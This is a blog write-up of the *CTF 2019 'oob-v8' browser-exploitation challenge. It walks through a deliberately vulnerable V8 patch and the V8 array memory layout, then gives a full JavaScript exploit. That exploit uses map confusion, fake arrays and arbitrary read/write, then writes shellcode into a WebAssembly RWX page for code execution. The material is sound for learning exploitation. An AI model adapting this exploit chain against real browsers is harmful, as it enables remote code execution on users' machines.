Yongheng Chen (Ne0)

Good defense requires a detailed knowledge of offense.

Home Writeup About GitHub Friend

\*CTF 2019 oob-v8

29 April 2019

Hi, I am Ne0. Last weekend we r3kapig won the champion in *ctf 2019 by AK the challenges 9 hours before the CTF ended. Another champion ! WTF?? Why are my teammates so fxxking niubi? As I am kind of busy these days, I only took a look at the challenge oob-v8 and solved it. This challenge is not hard enough for a writeup. But I know that many ctfers want to learn about browser exploitation. So… here I am ! If you like this writeup, please follow me in github. And this is the blog of my team, feel free to read them.

OOB-v8

The challenge attachment can be downloaded at here. The info of the challenge is

Yet another off by one

$ nc 212.64.104.189 10000
the v8 commits is 6dc88c191f5ecc5389dc26efa3ca0907faef3598.

The attachment includes a patch file oob.diff and a chrome binary. Well, debugging a d8(the binary name of v8 js engine) is much easier than debugging a chrome. As this challenge requires no sandbox escape, let’s just compile a d8 and debug it.

Patch analysis

The patch :

diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
+    SimpleInstallFunction(isolate_, proto, "oob",
+                          Builtins::kArrayOob,2,false);
     SimpleInstallFunction(isolate_, proto, "find",
                           Builtins::kArrayPrototypeFind, 1, false);
     SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 }
 }  // namespace
+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}
 
 BUILTIN(ArrayPush) {
   HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \
   /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \
   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \
+  CPP(ArrayOob)                                                                \
                                                                                \
   /* ArrayBuffer */                                                            \
   /* ES #sec-arraybuffer-constructor */                                        \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtins::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+    case Builtins::kArrayOob:
+      return Type::Receiver();
 
     // ArrayBuffer functions.
     case Builtins::kArrayBufferIsView:

OK, what it does is really clear : Add a api for array obj which can read and write its element off by one (as it access the element at offset length instead of length - 1).

For example:

var a = [1.0, 2.0]; // length of 2
a.oob(); // read a[2].
a.oob(0x123); // a[2] = 0x123.

So we need to figure out what exactly lies right behind the last element of an array.

Structure of v8’s array.

You can compile a d8 with debug info and use the following script to inspect the structure of any obj in v8:

➜  x64.debug git:(6dc88c191f) ✗ cat test.js
var a = [1.1, 2.2];

%DebugPrint(a);
➜  x64.debug git:(6dc88c191f) ✗ ./d8 --allow-natives-syntax ./test.js
DebugPrint: 0x149f42c8dd91: [JSArray]
 - map: 0x36a122482ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x015047251111 <JSArray[0]>
 - elements: 0x149f42c8dd71 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
 - length: 2
 - properties: 0x165a74a00c71 <FixedArray[0]> {
    #length: 0x3660c36401a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x149f42c8dd71 <FixedDoubleArray[2]> {
           0: 1.1
           1: 2.2
 }
0x36a122482ed9: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 32
 - inobject properties: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x36a122482e89 <Map(HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x3660c3640609 <Cell value= 1>
 - instance descriptors #1: 0x015047251f49 <DescriptorArray[1]>
 - layout descriptor: (nil)
 - transitions #1: 0x015047251eb9 <TransitionArray[4]>Transition array #1:
     0x165a74a04ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x36a122482f29 <Map(HOLEY_DOUBLE_ELEMENTS)>

 - prototype: 0x015047251111 <JSArray[0]>
 - constructor: 0x015047250ec1 <JSFunction Array (sfi = 0x3660c364a9b9)>
 - dependent code: 0x165a74a002c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

You will see that the lowest bit in the pointers is set. This is the boxing in v8.

Value B is an 8 bytes long value //in x64.
If B is a double:
    B is the binary representation of a double
Else:
    if B is a int32:
        B = the value of B << 32 // which mean 0xdeadbeef is 0xdeadbeef00000000 in v8
    else: // B is a pointer
        B = B | 1

So that means v8 uses the lowest bit to indicate whether a value is a pointer. For example, the value of the map pointer of array a is 0x36a122482ed9. But actually it’s 0x36a122482ed8

Reading the output, we can see that there is a map pointer that describes the structure of the array object, and there is an element pointer that stores the elements of the array.

If you use a debugger to take a look at the memory, you will find the memory layout of the array obj is:

-32 : some pointer // not related to the challenge. This is memory is also where the element pointer points at.
-24 : length of segment
-16 : element 0 // 1.1
-8  : element 1 // 2.2
+0  : map pointer // the address where the obj pointer points at
+8  : property pointer
+16 : element pointer //pointing at location -32
+24 : length( in the high four bytes )

The map pointer is right after the last element . So if you oob read or write an array obj, you read or write its map pointer !

Let’s take a deeper look at the map pointer

map: 0x1eeac1a02ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]

It says the element of the array is double(PACKED means there is no hole in the array). If you change the script into this:

var obj = {}
var a = [obj, 2.2];

%DebugPrint(a);

The output becomes:

➜  x64.debug git:(6dc88c191f) ✗ ./d8 --allow-natives-syntax ./test.js
DebugPrint: 0x142ef750ddf1: [JSArray]
 - map: 0x08f38af82f79 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x1f47e31d1111 <JSArray[0]>
 - elements: 0x142ef750dd99 <FixedArray[2]> [PACKED_ELEMENTS]
 - length: 2
 - properties: 0x28ff64fc0c71 <FixedArray[0]> {
    #length: 0x3244f8a401a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x142ef750dd99 <FixedArray[2]> {
           0: 0x142ef750ddb9 <Object map = 0x8f38af80459>
           1: 0x1f47e31df331 <HeapNumber 2.2>
 }

It becomes PACKED_ELEMENTS, indicating its elements are stored as object. That means the map pointer of an array indicates the type of its element. Wow, this is a good news for us as we can leak and modify this pointer!

Exploitation

In short, the steps to exploit is:

  1. leak the map of a double array : MapA
  2. leak the map of a var array : MapB
  3. fake the memory layout of a double array at address C
  4. modify the map of a var array arr to be MapA. This makes the js engine treat the var array as double array
  5. arr[0] = C. As the the arr is now treated as a double array, the address C is written as a double.
  6. modify the map of arr back to MapB.
  7. fake_arr = arr[0]. As arr is changed back to a var array, C is treated as an obj pointer instead of a double. We successfully fake a double array.
  8. As we can control the element pointer of the fake double array, we can read or write anywhere we want! With this, we become god.

Final script

I wrote my script in a short time, so it might not follow exactly the steps above. Additionally, as I exploited it using wasm obj, I used the dataview obj too. I won’t explain them in details as this is only one of the many ways to exploit this challenge. What I want to share with you guys is the methodology about how to turn a poc into a more powerful primitive and then achieve RCE.

function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } }
var f64 = new Float64Array(1);
var u32 = new Uint32Array(f64.buffer);

function d2u(v) {
    f64[0] = v;
    return u32;
}

function u2d(lo, hi) {
    u32[0] = lo;
    u32[1] = hi;
    return f64[0];
}

function hex(lo, hi) {
    if( lo == 0 ) {
        return ("0x" + hi.toString(16) + "00000000");
    }
    if( hi == 0 ) {
        return ("0x" + lo.toString(16));
    }
    return ("0x" + ('00000000'+hi.toString(16)).substr(8) +('00000000'+lo.toString(16)).substr(8));
}

gc(); // the function is for the gc stuff. More details can be found at v8 official doc.

let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});
let f = wasm_mod.exports._Z3addii;
let buffer = new ArrayBuffer(0x200);
let dataview = new DataView(buffer);
var obj = {"123":123};
let a = [1.1];
let b = [dataview];
let c = [1.1];
let d = [1.1];

float_map = a.oob();
var_map = b.oob();
leak_addr = d2u(float_map);
console.log("[-] double array map pointer: " + hex(leak_addr[0],leak_addr[1]));
leak_addr = d2u(var_map);
console.log("[-] var array map pointer: " + hex(leak_addr[0],leak_addr[1]));

b.oob(float_map);

var fake_obj = [
    u2d(d2u(float_map)[0], d2u(float_map)[1]),
    u2d(0, 0),
    u2d(d2u(float_map)[0], d2u(float_map)[1]), // the element pointer. Set it to where you want to read or write
    u2d(0x0, 0x1000),
].slice(0);

var victim = [fake_obj];
victim.oob(float_map);
leak_addr = d2u(victim[0]);
console.log("[-] Fake array: " + hex(leak_addr[0],leak_addr[1]));
b[0] = u2d(leak_addr[0]-0x20, leak_addr[1]);
b.oob(var_map);
victim.oob(var_map);
victim[0][2]=u2d(leak_addr[0],leak_addr[1]);

var ccc = [0x1234,0xdead,0xbeef,f,buffer];
oob_obj = b[0];

var wasm_idx = 0;
var buffer_idx = 0;
for(let i = 0; i<0x1000; i++){
    if(d2u(oob_obj[i])[1] === 0x1234){
        if(d2u(oob_obj[i+1])[1] === 0xdead){
            wasm_idx = i + 3;
            buffer_idx = i+4;
            console.log("Found!");
            break;
        }
    }
}

let wasm_obj_lo = d2u(oob_obj[wasm_idx])[0];
let wasm_obj_hi = d2u(oob_obj[wasm_idx])[1];
let buffer_lo = d2u(oob_obj[buffer_idx])[0];
let buffer_hi = d2u(oob_obj[buffer_idx])[1];
console.log("[-] buffer pointer : " + hex(buffer_lo, buffer_hi));
console.log("[-] wasm object : " + hex(wasm_obj_lo, wasm_obj_hi));

victim[0][2]=u2d(wasm_obj_lo-0x170 - 0x10 +0x18, wasm_obj_hi);
//victim[0][2]=u2d(wasm_obj_lo-0x170 - 0x10, wasm_obj_hi); // if you debug in d8, use this line

rwx_page = oob_obj[0];
rwx_page_lo = d2u(rwx_page)[0];
rwx_page_hi = d2u(rwx_page)[1];
console.log("[-] rwx page : " + hex(rwx_page_lo, rwx_page_hi));

victim[0][2]=u2d(buffer_lo+0x10 ,buffer_hi);
oob_obj[0] = u2d(rwx_page_lo,rwx_page_hi);

// execute '/get_flag >/tmp/txt ;DISPLAY=:0 /usr/bin/gedit /tmp/txt'
var shellcode =[2572696426, 1647295304, 1932488297, 1213399144, 761849737, 1207959651, 3897747081, 51, 790655852, 1949253152, 1949266029, 991982712, 1347635524, 1029259596, 790638650, 796029813, 795765090, 1768187239, 1949245556, 1949266029, 1442870392, 3867756631, 2425357583];

for(let i = 0; i < shellcode.length; i++) {
	dataview.setUint32(i * 4, shellcode[i], true);
}

f();

In the end

I hope you learn something from this blog. If you like it , feel free to follow me in github for more insteresting stuff. GG WP!